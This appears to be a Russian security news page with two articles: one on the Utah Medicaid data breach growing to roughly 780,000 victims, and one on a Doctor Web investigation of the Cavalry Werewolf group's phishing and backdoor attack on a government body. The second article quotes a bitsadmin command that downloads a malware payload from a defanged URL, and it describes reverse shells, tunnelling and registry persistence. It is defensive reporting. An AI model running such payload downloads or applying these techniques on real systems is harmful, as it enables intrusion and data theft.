Масштаб утечки данных в штате Юта резко возрос

Масштаб утечки данных в штате Юта резко возрос

30 марта текущего года неизвестные злоумышленники вторглись на сервер, принадлежащий министерству здравоохранения данного штата; там хранились данные по программе Medicaid. Поначалу эксперты и ответственные лица полагали, что компрометации подверглось не очень значительное количество информации - порядка 25 тысяч записей, - однако теперь, по новым оценкам, суммарное число пострадавших приближается к миллиону.

Чиновники представили новые данные, из которых следует, что киберпреступникам могли достаться 280 000 номеров социального страхования; кроме того, риску раскрытия подверглись менее важные персональные сведения о гражданах (такие, как имена, даты рождения и физические адреса), общим количеством в 500 000 записей. Насколько можно судить по имеющимся сообщениям, два вышеупомянутых множества не пересекаются, так что итоговое число жертв инцидента может достичь 780 000. Эта оценка стала уже второй за последние три дня; ранее высказывалось предположение о 255 000 пострадавших.

Сообщается, что сервер был оснащен необходимыми средствами безопасности, но все они оказались бесполезны из-за ошибки в настройках системы аутентификации пользователей. Взломщики, действовавшие с территории Восточной Европы, обошли защиту сети, периметра и приложений, после чего успешно получили доступ к базам данных сервера. Изначально чиновники сообщали, что злоумышленники скомпрометировали 24 000 записей, затем последние превратились в 24 000 файлов (а один файл уже мог содержать несколько сотен таких элементов), и с тех пор предполагаемые масштабы утечки все увеличивались.

Жертвами инцидента могли стать все граждане, обращавшиеся к поставщикам медицинских услуг в течение последних четырех месяцев; в основном это участники программ Medicaid и CHIP. Руководство штата начало отправку уведомлений пострадавшим пользователям; те, чьи номера социального страхования были похищены, смогут рассчитывать на бесплатный мониторинг счетов в течение одного года.

В целом стоит заметить, что учреждения, организации и предприятия все еще уделяют мало внимания базовым вопросам защиты информации. Недавнее исследование Verizon показало, что в 96% случаев утечек, зарегистрированных в 2011 году, хакеры использовали простые методы проникновения, и нередко несанкционированный доступ становился возможным именно из-за изъянов в системах аутентификации - например, "благодаря" сохранению заводских или установке откровенно слабых паролей.

Computerworld

Письмо автору

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru